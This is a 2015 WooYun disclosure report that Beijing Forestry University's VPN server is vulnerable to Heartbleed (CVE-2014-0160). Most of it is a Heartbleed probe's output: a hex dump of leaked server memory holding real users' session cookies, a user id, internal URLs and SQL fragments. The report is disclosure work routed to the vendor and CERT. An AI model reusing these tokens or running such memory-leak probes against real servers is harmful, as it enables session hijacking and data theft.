当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102386

漏洞标题:vpn心脏滴血

相关厂商:北京林业大学

漏洞作者: 路人乙

提交时间:2015-03-20 14:09

修复时间:2015-05-08 11:28

公开时间:2015-05-08 11:28

漏洞类型:重要敏感信息泄露

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-20: 细节已通知厂商并且等待厂商处理中
2015-03-24: 厂商已经确认,细节仅向厂商公开
2015-04-03: 细节向核心白帽子及相关领域专家公开
2015-04-13: 细节向普通白帽子公开
2015-04-23: 细节向实习白帽子公开
2015-05-08: 细节向公众公开

简要描述:

详细说明:

vpn.bjfu.edu.cn:443 存在OpenSSL(CVE-2014-0160)漏洞
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 86
... received message: type = 22, ver = 0302, length = 2379
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................
00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 73 69 6F 6E ....#.......sion
00e0: 3D 31 0D 0A 0D 0A D4 2F FB 16 BA BF EA BC C1 D6 =1...../........
00f0: EB D3 8F F9 17 F5 F2 A3 8E 51 61 6E 61 49 6E 66 .........QanaInf
0100: 6F 3D 6A 77 78 74 2E 62 6A 66 75 2E 65 64 75 2E o=jwxt.bjfu.edu.
0110: 63 6E 2B 53 74 75 64 65 6E 74 45 6C 65 63 74 69 cn+StudentElecti
0120: 76 65 41 41 2E 61 73 70 0D 0A 41 63 63 65 70 74 veAA.asp..Accept
0130: 2D 4C 61 6E 67 75 61 67 65 3A 20 7A 68 2D 43 4E -Language: zh-CN
0140: 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F ..User-Agent: Mo
0150: 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 61 zilla/4.0 (compa
0160: 74 69 62 6C 65 3B 20 4D 53 49 45 20 37 2E 30 3B tible; MSIE 7.0;
0170: 20 57 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B Windows NT 6.1;
0180: 20 54 72 69 64 65 6E 74 2F 37 2E 30 3B 20 53 4C Trident/7.0; SL
0190: 43 43 32 3B 20 2E 4E 45 54 20 43 4C 52 20 32 2E CC2; .NET CLR 2.
01a0: 30 2E 35 30 37 32 37 3B 20 2E 4E 45 54 20 43 4C 0.50727; .NET CL
01b0: 52 20 33 2E 35 2E 33 30 37 32 39 3B 20 2E 4E 45 R 3.5.30729; .NE
01c0: 54 20 43 4C 52 20 33 2E 30 2E 33 30 37 32 39 3B T CLR 3.0.30729;
01d0: 20 43 4D 4E 54 44 46 4A 53 3B 20 4D 65 64 69 61 CMNTDFJS; Media
01e0: 20 43 65 6E 74 65 72 20 50 43 20 36 2E 30 3B 20 Center PC 6.0;
01f0: 2E 4E 45 54 34 2E 30 43 3B 20 2E 4E 45 54 34 2E .NET4.0C; .NET4.
0200: 30 45 3B 20 42 52 49 2F 32 29 0D 0A 43 6F 6E 74 0E; BRI/2)..Cont
0210: 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C 69 63 ent-Type: applic
0220: 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F 72 6D ation/x-www-form
0230: 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 41 63 63 -urlencoded..Acc
0240: 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A ept-Encoding: gz
0250: 69 70 2C 20 64 65 66 6C 61 74 65 0D 0A 48 6F 73 ip, deflate..Hos
0260: 74 3A 20 76 70 6E 2E 62 6A 66 75 2E 65 64 75 2E t: vpn.bjfu.edu.
0270: 63 6E 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 cn..Content-Leng
0280: 74 68 3A 20 37 36 0D 0A 44 4E 54 3A 20 31 0D 0A th: 76..DNT: 1..
0290: 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 70 Connection: Keep
02a0: 2D 41 6C 69 76 65 0D 0A 43 61 63 68 65 2D 43 6F -Alive..Cache-Co
02b0: 6E 74 72 6F 6C 3A 20 6E 6F 2D 63 61 63 68 65 0D ntrol: no-cache.
02c0: 0A 43 6F 6F 6B 69 65 3A 20 44 53 53 69 67 6E 49 .Cookie: DSSignI
02d0: 6E 55 52 4C 3D 2F 3B 20 44 53 46 69 72 73 74 41 nURL=/; DSFirstA
02e0: 63 63 65 73 73 3D 31 34 32 36 37 35 35 33 30 39 ccess=1426755309
02f0: 3B 20 44 53 4C 61 73 74 41 63 63 65 73 73 3D 31 ; DSLastAccess=1
0300: 34 32 36 37 35 36 31 35 33 3B 20 44 53 4C 61 75 426756153; DSLau
0310: 6E 63 68 55 52 4C 3D 32 46 36 41 37 37 37 38 37 nchURL=2F6A77787
0320: 34 32 46 35 33 37 34 37 35 36 34 36 35 36 45 37 42F53747564656E7
0330: 34 32 46 32 43 34 34 36 31 36 45 36 31 34 39 36 42F2C44616E61496
0340: 45 36 36 36 46 33 44 36 41 37 37 37 38 37 34 32 E666F3D6A7778742
0350: 45 36 32 36 41 36 36 37 35 32 45 36 35 36 34 37 E626A66752E65647
0360: 35 32 45 36 33 36 45 32 42 35 33 37 34 37 35 36 52E636E2B5374756
0370: 34 36 35 36 45 37 34 34 35 36 43 36 35 36 33 37 4656E74456C65637
0380: 34 36 39 37 36 36 35 34 31 34 31 32 45 36 31 37 469766541412E617
0390: 33 37 30 3B 20 44 53 49 44 3D 65 31 37 34 39 61 370; DSID=e1749a
03a0: 34 38 31 39 33 61 65 33 36 32 63 38 35 31 33 30 48193ae362c85130
03b0: 36 32 33 66 34 39 39 38 33 66 0D 0A 0D 0A 21 E6 623f49983f....!.
03c0: 30 0C C8 A8 3E 06 22 A1 29 6B B2 5A 51 7C 03 6E 0...>.".)k.ZQ|.n
03d0: 2A 0A BE 3B EA 1D 12 3F 72 75 65 25 32 43 25 32 *..;...?rue%2C%2
03e0: 32 73 53 65 61 72 63 68 25 32 32 25 33 41 25 32 2sSearch%22%3A%2
03f0: 32 25 32 32 25 32 43 25 32 32 62 52 65 67 65 78 2%22%2C%22bRegex
0400: 25 32 32 25 33 41 66 61 6C 73 65 25 32 43 25 32 %22%3Afalse%2C%2
0410: 32 62 53 6D 61 72 74 25 32 32 25 33 41 74 72 75 2bSmart%22%3Atru
0420: 65 25 37 44 25 32 43 25 37 42 25 32 32 62 43 61 e%7D%2C%7B%22bCa
0430: 73 65 49 6E 73 65 6E 73 69 74 69 76 65 25 32 32 seInsensitive%22
0440: 25 33 41 74 72 75 65 25 32 43 25 32 32 73 53 65 %3Atrue%2C%22sSe
0450: 61 72 63 68 25 32 32 25 33 41 25 32 32 25 32 32 arch%22%3A%22%22
0460: 25 32 43 25 32 32 62 52 65 67 65 78 25 32 32 25 %2C%22bRegex%22%
0470: 33 41 66 61 6C 73 65 25 32 43 25 32 32 62 53 6D 3Afalse%2C%22bSm
0480: 61 72 74 25 32 32 25 33 41 74 72 75 65 25 37 44 art%22%3Atrue%7D
0490: 25 32 43 25 37 42 25 32 32 62 43 61 73 65 49 6E %2C%7B%22bCaseIn
04a0: 73 65 6E 73 69 74 69 76 65 25 32 32 25 33 41 74 sensitive%22%3At
04b0: 72 75 65 25 32 43 25 32 32 73 53 65 61 72 63 68 rue%2C%22sSearch
04c0: 25 32 32 25 33 41 25 32 32 25 32 32 25 32 43 25 %22%3A%22%22%2C%
04d0: 32 32 62 52 65 67 65 78 25 32 32 25 33 41 66 61 22bRegex%22%3Afa
04e0: 6C 73 65 25 32 43 25 32 32 62 53 6D 61 72 74 25 lse%2C%22bSmart%
04f0: 32 32 25 33 41 74 72 75 65 25 37 44 25 35 44 25 22%3Atrue%7D%5D%
0500: 32 43 25 32 32 61 62 56 69 73 43 6F 6C 73 25 32 2C%22abVisCols%2
0510: 32 25 33 41 25 35 42 74 72 75 65 25 32 43 74 72 2%3A%5Btrue%2Ctr
0520: 75 65 25 32 43 74 72 75 65 25 32 43 74 72 75 65 ue%2Ctrue%2Ctrue
0530: 25 35 44 25 37 44 3B 20 6C 61 73 74 4F 70 65 72 %5D%7D; lastOper
0540: 61 3D 70 6F 70 65 64 6F 6D 5F 38 31 39 32 3B 20 a=popedom_8192;
0550: 4A 53 45 53 53 49 4F 4E 49 44 3D 45 42 35 43 30 JSESSIONID=EB5C0
0560: 31 38 45 30 34 37 42 43 39 32 34 32 39 43 31 45 18E047BC92429C1E
0570: 42 36 44 36 44 43 31 42 45 43 45 3B 20 75 73 65 B6D6DC1BECE; use
0580: 72 69 64 3D 64 65 6E 67 3B 20 75 73 65 72 74 79 rid=deng; userty
0590: 70 65 3D 3B 20 41 4A 53 54 41 54 5F 6F 6B 5F 74 pe=; AJSTAT_ok_t
05a0: 69 6D 65 73 3D 35 39 0D 0A 0D 0A 70 72 6F 64 75 imes=59....produ
05b0: 63 74 63 6F 64 65 3D 26 70 61 67 65 3D 61 73 73 ctcode=&page=ass
05c0: 65 74 73 2E 6D 69 6E 65 2E 69 6E 64 65 78 26 77 ets.mine.index&w
05d0: 69 6E 64 6F 77 3D 6A 73 6F 6E 26 74 3D 30 2E 30 indow=json&t=0.0
05e0: 33 39 39 37 32 37 39 30 39 38 32 35 37 34 32 32 3997279098257422
05f0: 34 26 72 65 71 75 65 73 74 5F 6D 65 74 68 6F 64 4&request_method
0600: 3D 61 6A 61 78 26 62 72 6F 77 73 65 72 2E 76 65 =ajax&browser.ve
0610: 72 73 69 6F 6E 3D 35 33 37 2E 33 36 26 62 72 6F rsion=537.36&bro
0620: 77 73 65 72 3D 6E 6F 74 6D 73 69 65 51 8D 52 47 wser=notmsieQ.RG
0630: DA B3 20 CF AE 9C 5A A3 0D 7E 95 CF D0 DE 2E 75 .. ...Z..~.....u
0640: 10 D5 15 32 31 43 4A 46 51 25 32 31 43 4A 46 44 ...21CJFQ%21CJFD
0650: 32 30 31 31 25 37 43 47 4C 53 4A 32 30 30 39 30 2011%7CGLSJ20090
0660: 37 30 31 35 25 32 31 43 4A 46 51 25 32 31 43 4A 7015%21CJFQ%21CJ
0670: 46 44 32 30 30 39 25 37 43 43 4D 4A 4A 32 30 30 FD2009%7CCMJJ200
0680: 39 30 36 30 32 35 25 32 31 43 4A 46 51 25 32 31 906025%21CJFQ%21
0690: 43 4A 46 44 32 30 30 39 25 37 43 53 58 4B 4A 32 CJFD2009%7CSXKJ2
06a0: 30 31 34 30 36 30 32 35 25 32 31 43 4A 46 51 25 01406025%21CJFQ%
06b0: 32 31 43 4A 46 44 4C 41 53 54 32 30 31 34 25 37 21CJFDLAST2014%7
06c0: 43 58 58 42 4C 32 30 31 34 32 31 30 34 37 25 32 CXXBL201421047%2
06d0: 31 43 4A 46 51 25 32 31 43 4A 46 44 4C 41 53 54 1CJFQ%21CJFDLAST
06e0: 32 30 31 35 25 37 43 44 4C 48 58 32 30 31 34 30 2015%7CDLHX20140
06f0: 36 30 31 30 25 32 31 43 4A 46 51 25 32 31 43 4A 6010%21CJFQ%21CJ
0700: 46 44 4C 41 53 54 32 30 31 35 25 37 43 59 4A 53 FDLAST2015%7CYJS
0710: 43 32 30 31 34 31 32 30 31 34 25 32 31 43 4A 46 C201412014%21CJF
0720: 51 25 32 31 43 4A 46 44 54 45 4D 50 25 37 43 48 Q%21CJFDTEMP%7CH
0730: 42 51 59 32 30 31 35 30 31 30 33 31 25 32 31 43 BQY201501031%21C
0740: 4A 46 51 25 32 31 43 4A 46 44 54 45 4D 50 25 37 JFQ%21CJFDTEMP%7
0750: 43 44 41 4A 4A 32 30 31 35 30 32 30 31 34 25 32 CDAJJ201502014%2
0760: 31 43 4A 46 51 25 32 31 43 4A 46 44 50 52 45 50 1CJFQ%21CJFDPREP
0770: 25 37 43 4C 4B 47 50 32 30 31 35 30 31 30 31 30 %7CLKGP201501010
0780: 25 32 31 43 4A 46 51 25 32 31 43 4A 46 44 54 45 %21CJFQ%21CJFDTE
0790: 4D 50 25 37 43 53 44 53 41 32 30 31 35 30 31 30 MP%7CSDSA2015010
07a0: 30 35 25 32 31 43 4A 46 51 25 32 31 43 4A 46 44 05%21CJFQ%21CJFD
07b0: 50 52 45 50 25 37 43 48 46 47 53 32 30 31 35 30 PREP%7CHFGS20150
07c0: 31 30 30 31 25 32 31 43 4A 46 51 25 32 31 43 4A 1001%21CJFQ%21CJ
07d0: 46 44 54 45 4D 50 25 37 43 42 4A 53 42 32 30 31 FDTEMP%7CBJSB201
07e0: 35 30 32 30 31 35 25 32 31 43 4A 46 51 25 32 31 502015%21CJFQ%21
07f0: 43 4A 46 44 54 45 4D 50 25 37 43 47 4C 5A 4A 32 CJFDTEMP%7CGLZJ2
0800: 30 31 34 33 35 32 38 39 25 32 31 43 4A 46 51 25 01435289%21CJFQ%
0810: 32 31 43 4A 46 44 54 45 4D 50 25 37 43 47 46 47 21CJFDTEMP%7CGFG
0820: 42 32 30 31 34 30 36 30 32 37 25 32 31 43 4A 46 B201406027%21CJF
0830: 51 25 32 31 43 4A 46 44 50 52 45 50 25 37 43 3B Q%21CJFDPREP%7C;
0840: 20 63 5F 6D 5F 4C 69 6E 49 44 3D 4C 69 6E 49 44 c_m_LinID=LinID
0850: 3D 57 45 45 76 52 45 63 77 53 6C 4A 48 53 6C 64 =WEEvREcwSlJHSld
0860: 54 54 47 4A 68 59 6C 4A 51 63 58 6C 4E 64 45 6C TTGJhYlJQcXlNdEl
0870: 4C 53 31 52 79 56 57 70 4D 57 6B 70 44 53 48 64 LS1RyVWpMWkpDSHd
0880: 5A 4D 6D 5A 48 62 32 74 73 51 31 56 70 51 54 67 ZMmZHb2tsQ1VpQTg
0890: 72 51 6E 68 6C 57 47 56 45 4B 7A 4D 78 64 30 4E rQnhlWGVEKzMxd0N
08a0: 4E 54 55 59 31 55 6B 5A 58 59 7A 30 3D 24 39 41 NTUY1UkZXYz0=$9A
08b0: 34 68 46 5F 59 41 75 76 51 35 6F 62 67 56 41 71 4hF_YAuvQ5obgVAq
08c0: 4E 4B 50 43 59 63 45 6A 4B 65 6E 73 57 34 49 51 NKPCYcEjKensW4IQ
08d0: 4D 6F 76 77 48 74 77 6B 46 34 56 59 50 6F 48 62 MovwHtwkF4VYPoHb
08e0: 4B 78 4A 77 21 21 26 6F 74 3D 30 33 2F 31 39 2F KxJw!!&ot=03/19/
08f0: 32 30 31 35 20 31 37 3A 30 38 3A 32 32 0D 0A 0D 2015 17:08:22...
0900: 0A BB AC 88 BD 81 3D 6E 73 D9 75 6A 07 89 9B 1D ......=ns.uj....
0910: 5C 36 A3 44 87 74 3D 30 33 2F 31 39 2F 32 30 31 \6.D.t=03/19/201
0920: 35 20 31 37 3A 30 35 3A 35 30 0D 0A 0D 0A 78 14 5 17:05:50....x.
0930: 31 44 CD 24 CB 3C CA C6 4F 6A FA 45 F9 33 10 56 1D.$.<..Oj.E.3.V
0940: 60 59 33 34 25 75 36 44 46 39 25 75 35 42 46 39 `Y34%u6DF9%u5BF9
0950: 25 75 35 31 34 42 25 75 39 36 38 36 25 75 36 39 %u514B%u9686%u69
0960: 30 44 25 75 37 32 36 39 25 75 37 41 37 41 25 75 0D%u7269%u7A7A%u
0970: 35 46 43 33 25 75 38 33 42 32 25 75 35 42 35 30 5FC3%u83B2%u5B50
0980: 25 75 38 33 34 39 25 75 37 39 43 44 25 75 35 31 %u8349%u79CD%u51
0990: 38 35 25 75 35 31 37 33 25 75 37 43 46 42 25 75 85%u5173%u7CFB%u
09a0: 37 36 38 34 25 75 35 46 37 31 25 75 35 34 43 44 7684%u5F71%u54CD
09b0: 25 32 31 63 6A 66 71 25 32 31 63 6A 66 64 32 30 %21cjfq%21cjfd20
09c0: 31 31 25 32 31 7A 77 73 62 32 30 31 31 30 39 30 11%21zwsb2011090
09d0: 31 30 25 37 43 3B 20 55 73 65 72 44 6F 77 6E 4C 10%7C; UserDownL
09e0: 6F 61 64 73 4B 63 6D 73 3D 25 75 35 37 33 30 25 oadsKcms=%u5730%
09f0: 75 38 38 36 38 25 75 37 30 36 42 25 75 35 45 37 u8868%u706B%u5E7
0a00: 32 25 75 36 32 37 30 25 75 36 35 46 36 25 75 39 2%u6270%u65F6%u9
0a10: 35 46 34 25 75 35 45 38 46 25 75 35 32 31 37 25 5F4%u5E8F%u5217%
0a20: 75 34 45 30 41 25 75 36 41 31 46 25 75 35 42 35 u4E0A%u6A1F%u5B5
0a30: 30 25 75 36 37 37 45 25 75 36 37 39 37 25 75 37 0%u677E%u6797%u7
0a40: 41 44 45 25 75 34 45 38 39 25 75 35 46 33 41 25 ADE%u4E89%u5F3A%
0a50: 75 35 45 41 36 25 75 37 36 38 34 25 75 35 33 44 u5EA6%u7684%u53D
0a60: 38 25 75 35 33 31 36 25 32 31 63 6A 66 71 25 32 8%u5316%21cjfq%2
0a70: 31 63 6A 66 64 32 30 31 30 25 32 31 73 74 78 62 1cjfd2010%21stxb
0a80: 32 30 31 30 30 31 30 30 39 25 37 43 25 75 35 39 201001009%7C%u59
0a90: 32 41 25 75 37 36 37 44 25 75 37 45 41 32 25 75 2A%u767D%u7EA2%u
0aa0: 36 37 34 39 25 75 37 39 43 44 25 75 35 31 38 35 6749%u79CD%u5185
0ab0: 25 75 35 34 38 43 25 75 37 39 43 44 25 75 39 35 %u548C%u79CD%u95
0ac0: 46 34 25 75 37 41 44 45 25 75 34 45 38 39 25 75 F4%u7ADE%u4E89%u
0ad0: 37 38 31 34 25 75 37 41 37 36 25 32 31 63 6A 66 7814%u7A76%21cjf
0ae0: 71 25 32 31 63 6A 66 64 32 30 30 35 25 32 31 7A q%21cjfd2005%21z
0af0: 77 73 62 32 30 30 35 30 32 30 30 39 25 37 43 25 wsb200502009%7C%
0b00: 75 35 31 34 42 25 75 39 36 38 36 25 75 36 39 30 u514B%u9686%u690
0b10: 44 25 75 37 32 36 39 25 75 35 42 46 39 25 75 37 D%u7269%u5BF9%u7
0b20: 39 43 44 25 75 39 35 46 34 25 75 37 41 44 45 25 9CD%u95F4%u7ADE%
0b30: 75 34 45 38 39 25 75 37 36 38 34 25 75 39 30 30 u4E89%u7684%u900
0b40: 32 25 75 35 45 39 34 25 75 37 42 35 36 25 75 37 2%u5E94%u7B56%u7
0b50: 35 36 35 25 32 31 63 6A 66 71 25 32 31 63 6A 66 565%21cjfq%21cjf
0b60: 64 32 30 31 32 25 32 31 7A 77 73 62 32 30 31 32 d2012%21zwsb2012
0b70: 30 36 30 31 35 25 37 43 25 75 36 35 42 44 25 75 06015%7C%u65BD%u
0b80: 38 30 41 35 25 75 35 34 38 43 25 75 35 32 30 38 80A5%u548C%u5208
0b90: 25 75 35 32 37 32 25 75 35 42 46 39 25 75 36 39 %u5272%u5BF9%u69
0ba0: 30 44 25 75 37 32 36 39 25 75 37 46 41 34 25 75 0D%u7269%u7FA4%u
0bb0: 38 34 33 44 25 75 37 39 43 44 25 75 39 35 46 34 843D%u79CD%u95F4
0bc0: 25 75 35 31 37 33 25 75 37 43 46 42 25 75 37 36 %u5173%u7CFB%u76
0bd0: 38 34 25 75 35 46 37 31 25 75 35 34 43 44 25 32 84%u5F71%u54CD%2
0be0: 31 63 6A 66 71 25 32 31 63 6A 66 64 32 30 31 30 1cjfq%21cjfd2010
0bf0: 25 32 31 6C 64 7A 6B 32 30 31 30 73 31 30 30 33 %21ldzk2010s1003
0c00: 25 37 43 25 75 36 43 33 34 25 75 36 44 46 39 25 %7C%u6C34%u6DF9%
0c10: 75 35 42 46 39 25 75 35 31 34 42 25 75 39 36 38 u5BF9%u514B%u968
0c20: 36 25 75 36 39 30 44 25 75 37 32 36 39 25 75 37 6%u690D%u7269%u7
0c30: 41 37 41 25 75 35 46 43 33 25 75 38 33 42 32 25 A7A%u5FC3%u83B2%
0c40: 75 35 42 35 30 25 75 38 33 34 39 25 75 37 39 43 u5B50%u8349%u79C
0c50: 44 25 75 35 31 38 35 25 75 35 31 37 33 25 75 37 D%u5185%u5173%u7
0c60: 43 46 42 25 75 37 36 38 34 25 75 35 46 37 31 25 CFB%u7684%u5F71%
0c70: 75 35 34 43 44 25 32 31 63 6A 66 71 25 32 31 63 u54CD%21cjfq%21c
0c80: 6A 66 64 32 30 31 31 25 32 31 7A 77 73 62 32 30 jfd2011%21zwsb20
0c90: 31 31 30 39 30 31 30 25 37 43 0D 0A 0D 0A DC 43 1109010%7C.....C
0ca0: 42 21 60 EA 5A 32 DC 5B 75 39 3F 2B 02 0A A4 36 B!`.Z2.[u9?+...6
0cb0: 15 51 45 31 41 25 75 34 45 30 45 25 75 35 33 33 .QE1A%u4E0E%u533
0cc0: 41 25 75 35 37 44 46 25 75 37 45 43 46 25 75 36 A%u57DF%u7ECF%u6
0cd0: 44 34 45 25 75 35 33 44 31 25 75 35 43 35 35 25 D4E%u53D1%u5C55%
0ce0: 75 35 31 37 33 25 75 37 43 46 42 25 75 37 38 31 u5173%u7CFB%u781
0cf0: 34 25 75 37 41 37 36 25 32 31 63 6D 66 64 25 32 4%u7A76%21cmfd%2
0d00: 31 63 6D 66 64 32 30 31 33 30 32 25 32 31 31 30 1cmfd201302%2110
0d10: 31 33 32 35 38 33 31 38 2E 6E 68 25 37 43 25 75 13258318.nh%7C%u
0d20: 35 33 33 41 25 75 35 37 44 46 25 75 37 33 41 46 533A%u57DF%u73AF
0d30: 25 75 35 38 38 33 25 75 38 39 43 36 25 75 38 39 %u5883%u89C6%u89
0d40: 44 32 25 75 34 45 30 42 25 75 37 36 38 34 25 75 D2%u4E0B%u7684%u
0d50: 35 33 33 41 25 75 35 37 44 46 25 75 37 45 43 46 533A%u57DF%u7ECF
0d60: 25 75 36 44 34 45 25 75 35 33 44 31 25 75 35 43 %u6D4E%u53D1%u5C
0d70: 35 35 25 75 36 41 32 31 25 75 35 46 30 46 25 75 55%u6A21%u5F0F%u
0d80: 37 38 31 34 25 75 37 41 37 36 25 75 32 30 31 34 7814%u7A76%u2014
0d90: 25 75 32 30 31 34 25 75 35 37 46 41 25 75 34 45 %u2014%u57FA%u4E
0da0: 38 45 25 75 35 43 37 31 25 75 34 45 31 43 25 75 8E%u5C71%u4E1C%u
0db0: 37 37 30 31 25 75 36 35 37 30 25 75 36 33 36 45 7701%u6570%u636E
0dc0: 25 75 37 36 38 34 25 75 35 42 39 45 25 75 38 42 %u7684%u5B9E%u8B
0dd0: 43 31 25 75 35 32 30 36 25 75 36 37 39 30 25 32 C1%u5206%u6790%2
0de0: 31 63 6A 66 71 25 32 31 63 6A 66 64 32 30 31 31 1cjfq%21cjfd2011
0df0: 25 32 31 67 67 79 79 32 30 31 31 30 38 30 30 35 %21ggyy201108005
0e00: 25 37 43 25 75 36 45 32 46 25 75 35 33 45 33 25 %7C%u6E2F%u53E3%
0e10: 75 37 32 36 39 25 75 36 44 34 31 25 75 34 45 30 u7269%u6D41%u4E0
0e20: 45 25 75 38 31 37 39 25 75 35 37 33 30 25 75 35 E%u8179%u5730%u5
0e30: 33 33 41 25 75 35 37 44 46 25 75 37 45 43 46 25 33A%u57DF%u7ECF%
0e40: 75 36 44 34 45 25 75 37 36 46 38 25 75 35 31 37 u6D4E%u76F8%u517
0e50: 33 25 75 36 30 32 37 25 75 36 44 34 42 25 75 35 3%u6027%u6D4B%u5
0e60: 45 41 36 25 75 37 38 31 34 25 75 37 41 37 36 25 EA6%u7814%u7A76%
0e70: 32 31 63 6D 66 64 25 32 31 63 6D 66 64 32 30 31 21cmfd%21cmfd201
0e80: 30 25 32 31 32 30 31 30 31 36 33 37 30 39 2E 6E 0%212010163709.n
0e90: 68 25 37 43 0D 0A 0D 0A 9E BA 5D E0 B7 7B 6C C1 h%7C......]..{l.
0ea0: 99 C6 A3 55 2C 1C 7C 22 3C 23 FE 8D 6C 20 62 61 ...U,.|"<#..l ba
0eb0: 63 6B 73 74 6F 63 6B 5F 74 79 70 65 0A 20 20 46 ckstock_type. F
0ec0: 52 4F 4D 20 45 51 55 49 50 4D 45 4E 54 5F 73 63 ROM EQUIPMENT_sc
0ed0: 72 61 70 20 45 43 0A 20 20 4C 45 46 54 20 4A 4F rap EC. LEFT JO
0ee0: 49 4E 20 42 41 53 45 5F 54 45 41 43 48 45 52 20 IN BASE_TEACHER
0ef0: 42 54 31 0A 20 20 20 20 4F 4E 20 45 43 2E 42 41 BT1. ON EC.BA
0f00: 53 45 5F 54 45 41 43 48 45 52 5F 4E 4F 5F 72 65 SE_TEACHER_NO_re
0f10: 71 75 65 73 74 20 3D 20 42 54 31 2E 4E 4F 0A 20 quest = BT1.NO.
0f20: 20 4C 45 46 54 20 4A 4F 49 4E 20 28 53 45 4C 45 LEFT JOIN (SELE
0f30: 43 54 20 73 75 6D 28 63 61 73 65 0A 20 20 20 20 CT sum(case.
0f40: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0f50: 20 20 20 20 20 20 20 20 77 68 65 6E 20 28 45 FF when (E.
0f60: 43 4C 2E 53 54 41 54 45 20 49 53 20 20 4E 55 4C CL.STATE IS NUL
0f70: 4C 20 4F 52 20 45 43 4C 2E 53 54 41 54 45 20 21 L OR ECL.STATE !
0f80: 3D 20 2D 31 29 20 61 6E 64 20 6E 76 6C 28 65 63 = -1) and nvl(ec
0f90: 6C 2E 72 65 74 72 69 65 76 65 5F 73 74 61 74 65 l.retrieve_state
0fa0: 2C 31 29 21 3D 30 20 74 68 65 6E 0A 20 20 20 20 ,1)!=0 then.
0fb0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0fc0: 20 20 20 20 20 20 20 20 20 31 0A 20 20 20 20 20 1.
0fd0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0fe0: 20 20 20 20 20 20 20 65 6C 73 65 0A 20 20 20 20 else.
0ff0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1000: 20 20 20 20 20 20 20 20 20 30 0A 20 20 20 20 20 0.
1010: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1020: 20 20 20 20 20 65 6E 64 29 20 41 53 20 4E 55 4D end) AS NUM
1030: 2C 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ,.
1040: 20 20 20 20 20 20 45 43 4C 2E 45 51 55 49 50 4D ECL.EQUIPM
1050: 45 4E 54 5F 73 63 72 61 70 5F 49 44 2C 0A 20 FF ENT_scrap_ID,. .
1060: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1070: 20 20 20 4D 49 4E 28 65 71 75 2E 42 41 53 45 5F MIN(equ.BASE_
1080: 44 45 50 5F 43 4F 44 45 29 20 41 53 20 42 41 53 DEP_CODE) AS BAS
1090: 45 5F 44 45 50 5F 43 4F 44 45 2C 0A 20 20 20 20 E_DEP_CODE,.
10a0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
10b0: 53 55 4D 28 63 61 73 65 0A 20 20 20 20 20 20 20 SUM(case.
10c0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
10d0: 20 20 20 77 68 65 6E 20 28 45 43 4C 2E 53 54 41 when (ECL.STA
10e0: 54 45 20 49 53 20 20 4E 55 4C 4C 20 4F 52 20 45 TE IS NULL OR E
10f0: 43 4C 2E 53 54 41 54 45 20 21 3D 20 2D 31 29 20 CL.STATE != -1)
1100: 61 6E 64 20 6E 76 6C 28 65 63 6C 2E 72 65 74 72 and nvl(ecl.retr
1110: 69 65 76 65 5F 73 74 61 74 65 2C 31 29 20 21 3D ieve_state,1) !=
1120: 30 20 74 68 65 6E 20 65 71 75 2E 50 52 49 43 45 0 then equ.PRICE
1130: 20 2B 20 6E 76 6C 28 65 71 75 2E 61 74 74 61 63 + nvl(equ.attac
1140: 68 5F 70 72 69 63 65 2C 20 30 29 0A 20 20 20 20 h_price, 0).
1150: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 FF .
1160: 20 20 20 20 20 20 20 65 6C 73 65 0A 20 20 20 20 else.
1170: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1180: 20 20 20 20 20 20 20 30 0A 20 20 20 20 20 20 20 0.
1190: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
11a0: 20 65 6E 64 29 20 41 53 20 45 51 55 49 50 4D 45 end) AS EQUIPME
